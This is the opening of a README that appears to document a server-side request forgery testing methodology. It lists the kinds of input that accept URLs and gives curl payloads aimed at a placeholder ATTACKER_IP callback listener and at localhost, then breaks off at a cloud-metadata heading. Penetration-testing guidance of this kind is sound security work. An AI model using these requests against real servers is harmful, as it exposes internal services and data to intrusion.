Documentation
README
Server-Side Request Forgery (SSRF)
Objective
Force the server to make requests to internal resources, cloud metadata endpoints, or attacker-controlled servers.
Testing Methodology
Phase 1: Identify URL Input Points
Look for parameters that accept URLs:
- Webhook URLs, callback URLs
- File import/export (URL-based)
- PDF/image generation from URL
- URL preview/unfurling
- Proxy/redirect endpoints
Phase 2: Basic SSRF Payloads
# Start callback listener
attack_script ssrf_listener -p 8888 -o ssrf_evidence.json &
# Test URL parameters
curl "https://TARGET/api/fetch?url=http://ATTACKER_IP:8888/ssrf-test"
curl "https://TARGET/api/preview?link=http://127.0.0.1:80"
Phase 3: Cloud Metadata
This is the opening of the README. Read the full README on GitHub.